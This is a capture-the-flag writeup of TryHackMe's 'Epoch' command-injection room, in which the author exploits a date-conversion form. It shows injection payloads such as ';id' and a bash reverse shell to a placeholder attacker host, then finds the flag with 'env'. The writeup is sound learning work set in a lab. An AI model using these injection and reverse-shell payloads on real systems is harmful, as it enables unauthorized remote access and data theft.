Security Research & Web Development

Epoch Room Writeup

Published on | Date completed:

My approach to writeups:

Before we get into the post, for me creating writeups is primarily a learning exercise. While documenting how I reached the solution is an important part of a writeup what I care about more is the thought process of working to find the solution, both the obstacles and eventual discoveries. By writing in this way it's my goal to improve my own thought processes and develop a more systematic methodology for approaching these problems over time. Consider these to be refined versions of my notes rather than polished reports.

Epoch was released as the second challenge during TryHackMe's 2022 Halloween event, and is classified as an easy web app room. The prompt for us is:

"Be honest, you have always wanted an online tool that could help you convert UNIX dates and timestamps! Wait... it doesn't need to be online, you say? Are you telling me there is a command-line Linux program that can already do the same thing? Well, of course, we already knew that! Our website actually just passes your input right along to that command-line program!"

Between the above mention of command lines and the explicit link to their room on command injection it's certain this will be a command injection focused box. Once the VM was spun up all we see is a basic single input form.

a bare white web page with a single field input form and an hourglass icon with the text "Epoch to UTC converter"

While it was tempting to go straight into testing command injection, I did start this process with some initial enumeration to avoid missing anything.


This wasn't an open-ended web app challenge, so I just did some quick standard checks to cover the bases.

  • HTML source: this shows up as a single page, minimal markup, and no Javascript sources loaded in at all. The <head> metadata doesn't reveal any additional information.
  • Wappalyzer: Bootstrap is the only detected technology.
  • Directory enumeration: I ran gobuster in the background while beginning command injection tests, which returned no additional directories. Manual check for /robots.txt and /sitemap.xml while that ran also returned nothing.

With that brief recon done, let's move straight into trying out command injection on our form.

Testing command injection

Passing in a epoch value, like 1680115500, returns a more human readable date output below the form as text.

Note: If you want some background on the epoch format Wikipedia has a good primer.

With the expected output known the next step was to test the simplest command injections forms. The first to check is just appending a semicolon to the string and following it with a system command, in this case ;id, which will tell us if this form is returning the internal server's responses, doing some other processing first, or generate an error.

This payload works and we get the output of the id command after our date. No need to test other permutations now, though for reference if this hadn't worked I would have been working off of this command injection cheatsheet.

Form response showing a date on one line, and on the following the output of the Linux id command.

With the injection confirmed I ran other enumeration commands, including whoami, ls, and ls /, to get a quick sense of what we could see.

Now if this was a straight to the solution walkthrough we would almost be done...but with the command injection confirmed in my enthusiasm I skipped straight to trying to pop a reverse shell on it.

The shell popping detour

To get the shell I went to Pentest Monkey's RCE Cheatsheet for a bash specific payload, as this was clearly a Linux machine based on the earlier output from id, ls, etc. I set up a netcat listener on the Attackbox with nc -lvnp [port] and prepped the below payload in our form, clicking the Convert button once the listener was active.

;bash -i >& /dev/tcp/[kaliIp]/[kaliPort] 0>&1

And yup, this gives us a shell on the box, confirming remote code execution (RCE). While this will turn out to not be necessary to get the flag, it would be a major finding during an actual report, so it was worthwhile to test for it. Plus the shell is faster for my continued digging into the server versus passing in these individual command payloads anyway, making this detour a win win.

Web form with a bash reverse shell payload, and the resulting terminal with responses to id and whoami displayed.

For brevity's sake with shell access I spent some more time seeing what we had access to on the file system. We could read files in this user's home directory, /home/challenge, but couldn't look at root permissioned files like /etc/shadow. Our home directory had two Go files and their compiled binaries, plus a folder "views," which has a single index.html file. None of these contained our flag.

At this point I checked the provided hint "The developer likes to store data in environment variables, can you find anything of interest there?" and went down a rabbit hole about Go environment variables for a while.

For context I'm used to developing Javascript front-ends, so my immediate thought here was that these Go binaries might be storing their environment variables in a similar way, via .env files. But checking both the binary and .go files by running strings and looking for any declared variables went nowhere, and in some cases I was running into privilege limitations, so I started to investigate if I could get root, running the LinPEAS script...however this was also at a time in my studies before I'd learned much at all about Linux privilege escalation, so the output it gave me wasn't as actionable as it could have been (from research on Discord it was indeed rootable, but not relevant to the challenge).

But trying to get root aside this is where I also missed some important hints while doing the research on how Go handles environment variables. Namely the examples (#1 & #2) both show Go using the os package to interact with system environment variables. My mistake was that I had assumed that they were using development environment variables and went looking for those—and yes they are supported in Go with the godotenv package, but that package wasn't in use here, hence the dead end.

Now, how do you check system environment variables? By running the env command.

command injection output with the FLAG env variable and flag text obscured

Problem solved and flag found. This worked directly from the form, so the reverse shell wasn't necessary to get the flag.

My key takeway from this room was to always check env during enumeration if I have some form of shell access.